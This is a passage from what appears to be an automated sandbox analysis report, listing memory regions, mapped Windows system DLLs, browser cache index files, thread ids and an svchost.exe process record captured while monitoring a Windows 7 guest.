0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3019 start_va = 0x2de0000 end_va = 0x2deffff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 3020 start_va = 0x3010000 end_va = 0x310ffff entry_point = 0x0 region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 3021 start_va = 0x3200000 end_va = 0x32fffff entry_point = 0x0 region_type = private name = "private_0x0000000003200000" filename = "" Region: id = 3022 start_va = 0x3410000 end_va = 0x350ffff entry_point = 0x0 region_type = private name = "private_0x0000000003410000" filename = "" Region: id = 3023 start_va = 0x3600000 end_va = 0x36fffff entry_point = 0x0 region_type = private name = "private_0x0000000003600000" filename = "" Region: id = 3024 start_va = 0x777b0000 end_va = 0x777b2fff entry_point = 0x777b0000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 3025 start_va = 0x7fefcb20000 end_va = 0x7fefcb66fff entry_point = 0x7fefcb20000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3026 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3027 start_va = 0x7fefd510000 end_va = 0x7fefd523fff entry_point = 0x7fefd510000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3028 start_va = 0x7fefd5d0000 end_va = 0x7fefd5defff entry_point = 0x7fefd5d0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3029 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3030 start_va = 0x7fefdbb0000 end_va = 0x7fefdcd9fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 3031 start_va = 0x7fefec10000 end_va = 0x7fefed87fff entry_point = 0x7fefec10000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 3032 start_va = 0x7feff080000 end_va = 0x7feff2d8fff entry_point = 0x7feff080000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 3033 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3034 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3035 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3036 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3162 start_va = 0x350000 end_va = 0x350fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 3163 start_va = 0x360000 end_va = 0x361fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 3164 start_va = 0x370000 end_va = 0x37bfff entry_point = 0x370000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 3165 start_va = 0x380000 end_va = 0x381fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 3166 start_va = 0x3a0000 end_va = 0x3a7fff entry_point = 0x3a0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 3167 start_va = 0x3b0000 end_va = 0x3bffff entry_point = 0x3b0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 3168 start_va = 0x3700000 end_va = 0x3a42fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003700000" filename = "" Region: id = 3169 start_va = 0x3b00000 end_va = 0x3bfffff entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 3170 start_va = 0x3d10000 end_va = 0x3e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d10000" filename = "" Region: id = 3171 start_va = 0x7fef5270000 end_va = 0x7fef527bfff entry_point = 0x7fef5270000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 3172 start_va = 0x7fef61c0000 end_va = 0x7fef6223fff entry_point = 0x7fef61c0000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 3173 start_va = 0x7fef6230000 end_va = 0x7fef62a0fff entry_point = 0x7fef6230000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 3174 start_va = 0x7fefad50000 end_va = 0x7fefad67fff entry_point = 0x7fefad50000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 3175 start_va = 0x7fefad70000 end_va = 0x7fefad80fff entry_point = 0x7fefad70000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 3176 start_va = 0x7fefaff0000 end_va = 0x7fefaffafff entry_point = 0x7fefaff0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3177 start_va = 0x7fefb000000 end_va = 0x7fefb026fff entry_point = 0x7fefb000000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3178 start_va = 0x7fefb4a0000 end_va = 0x7fefb4ccfff entry_point = 0x7fefb4a0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3179 start_va = 0x7fefc030000 end_va = 0x7fefc223fff entry_point = 0x7fefc030000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 3180 start_va = 0x7fefc6f0000 end_va = 0x7fefc6fbfff entry_point = 0x7fefc6f0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3181 start_va = 0x7fefd900000 end_va = 0x7fefd94cfff entry_point = 0x7fefd900000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3182 start_va = 0x7feff4e0000 end_va = 0x7feff531fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3183 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 3184 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3185 start_va = 0x2880000 end_va = 0x293ffff entry_point = 0x2880000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3186 start_va = 0x7fefca20000 end_va = 0x7fefca29fff entry_point = 0x7fefca20000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3187 start_va = 0x3c0000 end_va = 0x3c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 3188 start_va = 0x3f30000 end_va = 0x3faffff entry_point = 0x0 region_type = private name = "private_0x0000000003f30000" filename = "" Region: id = 3189 start_va = 0x7fef46b0000 end_va = 0x7fef46cbfff entry_point = 0x7fef46b0000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 3190 start_va = 0x7fef46d0000 end_va = 0x7fef4731fff entry_point = 0x7fef46d0000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 3191 start_va = 0x7fefae40000 end_va = 0x7fefae48fff entry_point = 0x7fefae40000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 3192 start_va = 0x7fefb5b0000 end_va = 0x7fefb5c0fff entry_point = 0x7fefb5b0000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 3193 start_va = 0x7fefcc40000 end_va = 0x7fefcc9afff entry_point = 0x7fefcc40000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 3454 start_va = 0x3d0000 end_va = 0x3d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 3455 start_va = 0x2f10000 end_va = 0x300ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 3456 start_va = 0x3310000 end_va = 0x340ffff entry_point = 0x0 region_type = private name = "private_0x0000000003310000" filename = "" Region: id = 3457 start_va = 0x3ff0000 end_va = 0x40effff entry_point = 0x0 region_type = private name = "private_0x0000000003ff0000" filename = "" Region: id = 3458 start_va = 0x4170000 end_va = 0x417ffff entry_point = 0x0 region_type = private name = "private_0x0000000004170000" filename = "" Region: id = 3459 start_va = 0x41f0000 end_va = 0x42effff entry_point = 0x0 region_type = private name = "private_0x00000000041f0000" filename = "" Region: id = 3460 start_va = 0x42f0000 end_va = 0x44effff entry_point = 0x0 region_type = private name = "private_0x00000000042f0000" filename = "" Region: id = 3461 start_va = 0x45f0000 end_va = 0x466ffff entry_point = 0x0 region_type = private name = "private_0x00000000045f0000" filename = "" Region: id = 3462 start_va = 0x4670000 end_va = 0x4a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004670000" filename = "" Region: id = 3463 start_va = 0x7fef53d0000 end_va = 0x7fef53d7fff entry_point = 0x7fef53d0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 3464 start_va = 0x7fefae80000 end_va = 0x7fefaed2fff entry_point = 0x7fefae80000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 3465 start_va = 0x7fefc7c0000 end_va = 0x7fefc7c6fff entry_point = 0x7fefc7c0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 3466 start_va = 0x7fefc8b0000 end_va = 0x7fefc8cafff entry_point = 0x7fefc8b0000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 3467 start_va = 0x7fefca60000 end_va = 0x7fefcaabfff entry_point = 0x7fefca60000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3468 start_va = 0x7fefcbb0000 end_va = 0x7fefcc06fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 3469 start_va = 0x7fefcdb0000 end_va = 0x7fefcdb6fff entry_point = 0x7fefcdb0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 3470 start_va = 0x7fefcdc0000 end_va = 0x7fefce14fff entry_point = 0x7fefcdc0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3471 start_va = 0x7fefcf90000 end_va = 0x7fefcfb1fff entry_point = 0x7fefcf90000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3472 start_va = 0x7fefcfc0000 end_va = 0x7fefd00dfff entry_point = 0x7fefcfc0000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 3473 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f5fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3474 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 3475 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 3476 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 3477 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3480 start_va = 0x7fefb4d0000 end_va = 0x7fefb4fbfff entry_point = 0x7fefb4d0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3481 start_va = 0x7fefb9e0000 end_va = 0x7fefba14fff entry_point = 0x7fefb9e0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 3482 start_va = 0x7fefd6c0000 end_va = 0x7fefd6d9fff entry_point = 0x7fefd6c0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3483 start_va = 0x7feff650000 end_va = 0x7feff826fff entry_point = 0x7feff650000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Thread: id = 195 os_tid = 0x124 Thread: id = 200 os_tid = 0x9e8 Thread: id = 201 os_tid = 0x72c Thread: id = 204 os_tid = 0xa0c Thread: id = 206 os_tid = 0x754 Thread: id = 207 os_tid = 0x1c8 Thread: id = 209 os_tid = 0x314 Thread: id = 210 os_tid = 0xae0 Thread: id = 226 os_tid = 0xadc Thread: id = 227 os_tid = 0xacc Thread: id = 228 os_tid = 0xb00 Thread: id = 234 os_tid = 0xb34 Thread: id = 235 os_tid = 0x638 Thread: id = 238 os_tid = 0xa14 Thread: id = 283 os_tid = 0x3fc Process: id = "20" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7176e000" os_pid = "0xf0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x9d4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e167" [0xc000000f], "LOCAL" [0x7] Region: id = 3037 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3038 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3039 start_va = 0x30000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3040 start_va = 0xb0000 end_va = 0xb3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 3041 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 3042 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3043 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 3044 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3045 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3046 start_va = 0x170000 end_va = 0x17ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3047 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 3048 start_va = 0x190000 end_va = 0x1a0fff entry_point = 0x190000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 3049 start_va = 0x1b0000 end_va = 0x1b3fff entry_point = 0x1b0000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 3050 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 3051 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 3052 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3053 start_va = 0x1f0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3054 start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 3055 start_va = 0x3f0000 end_va = 0x577fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3056 start_va = 0x580000 end_va = 0x700fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 3057 start_va = 0x710000 end_va = 0x7cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 3058 start_va = 0x7d0000 end_va = 0xbc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 3059 start_va = 0xcd0000 end_va = 0xd4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 3060 start_va = 0xdf0000 end_va = 0xe6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 3061 start_va = 0xe70000 end_va = 0x113efff entry_point = 0xe70000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3062 start_va = 0x1160000 end_va = 0x11dffff entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 3063 start_va = 0x1240000 end_va = 0x12bffff entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 3064 start_va = 0x12c0000 end_va = 0x13bffff entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 3065 start_va = 0x13c0000 end_va = 0x14bffff entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 3066 start_va = 0x1550000 end_va = 0x160ffff entry_point = 0x1550000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3067 start_va = 0x1630000 end_va = 0x163ffff entry_point = 0x0 region_type = private name = "private_0x0000000001630000" filename = "" Region: id = 3068 start_va = 0x1640000 end_va = 0x16bffff entry_point = 0x0 region_type = private name = "private_0x0000000001640000" filename = "" Region: id = 3069 start_va = 0x16c0000 end_va = 0x173ffff entry_point = 0x0 region_type = private name = "private_0x00000000016c0000" filename = "" Region: id = 3070 start_va = 0x1740000 end_va = 0x17bffff entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 3071 start_va = 0x17d0000 end_va = 0x184ffff entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 3072 start_va = 0x1850000 end_va = 0x185ffff entry_point = 0x0 region_type = private name = "private_0x0000000001850000" filename = "" Region: id = 3073 start_va = 0x1870000 end_va = 0x18effff entry_point = 0x0 region_type = private name = "private_0x0000000001870000" filename = "" Region: id = 3074 start_va = 0x19b0000 end_va = 0x1a2ffff entry_point = 0x0 region_type = private name = "private_0x00000000019b0000" filename = "" Region: id = 3075 start_va = 0x1a30000 end_va = 0x1a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a30000" filename = "" Region: id = 3076 start_va = 0x1b30000 end_va = 0x1baffff entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 3077 start_va = 0x1bb0000 end_va = 0x1daffff entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 3078 start_va = 0x1db0000 end_va = 0x1eaffff entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 3079 start_va = 0x1f90000 end_va = 0x200ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 3080 start_va = 0x20c0000 end_va = 0x213ffff entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 3081 start_va = 0x21c0000 end_va = 0x223ffff entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 3082 start_va = 0x2340000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 3083 start_va = 0x752e0000 end_va = 0x752e2fff entry_point = 0x752e0000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 3084 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3085 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x774e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3086 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3087 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3088 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3089 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3090 start_va = 0xffaa0000 end_va = 0xffaaafff entry_point = 0xffaa0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 3091 start_va = 0x7fef3280000 end_va = 0x7fef3298fff entry_point = 0x7fef3280000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 3092 start_va = 0x7fef5160000 end_va = 0x7fef5237fff entry_point = 0x7fef5160000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 3093 start_va = 0x7fef5270000 end_va = 0x7fef527bfff entry_point = 0x7fef5270000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 3094 start_va = 0x7fef53d0000 end_va = 0x7fef53d7fff entry_point = 0x7fef53d0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 3095 start_va = 0x7fef6110000 end_va = 0x7fef611ffff entry_point = 0x7fef6110000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 3096 start_va = 0x7fef6120000 end_va = 0x7fef6131fff entry_point = 0x7fef6120000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 3097 start_va = 0x7fef61a0000 end_va = 0x7fef61b8fff entry_point = 0x7fef61a0000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 3098 start_va = 0x7fef61c0000 end_va = 0x7fef6223fff entry_point = 0x7fef61c0000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 3099 start_va = 0x7fef6230000 end_va = 0x7fef62a0fff entry_point = 0x7fef6230000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 3100 start_va = 0x7fef67d0000 end_va = 0x7fef6843fff entry_point = 0x7fef67d0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 3101 start_va = 0x7fef7fa0000 end_va = 0x7fef801bfff entry_point = 0x7fef7fa0000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 3102 start_va = 0x7fefad50000 end_va = 0x7fefad67fff entry_point = 0x7fefad50000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 3103 start_va = 0x7fefad70000 end_va = 0x7fefad80fff entry_point = 0x7fefad70000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = 